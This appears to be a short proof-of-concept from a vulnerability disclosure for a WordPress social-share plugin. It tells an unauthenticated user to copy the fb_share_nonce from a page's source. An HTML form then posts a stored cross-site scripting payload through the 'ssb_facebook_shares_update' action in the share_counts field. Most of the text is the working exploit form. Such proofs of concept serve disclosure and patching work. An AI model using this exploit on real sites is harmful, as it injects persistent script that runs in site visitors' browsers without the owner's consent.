As an unauthenticated user, go to a page where the Facebook share is active, view the source to get the fb_share_nonce.
Replace the value of the security parameter below by the nonce retreived, as well as the URL of the domain, open the file with a web browser and click on Submit.

    <form action="" method="POST">
      <input type="hidden" name="action" value="ssb_facebook_shares_update" />
      <input type="hidden" name="security" value="[NONCE]" />
      <input type="hidden" name="share_counts" value='<script>alert(/XSS/)</script>' />
      <input type="hidden" name="post_id" value="1" />
      <input type="submit" value="Submit request" />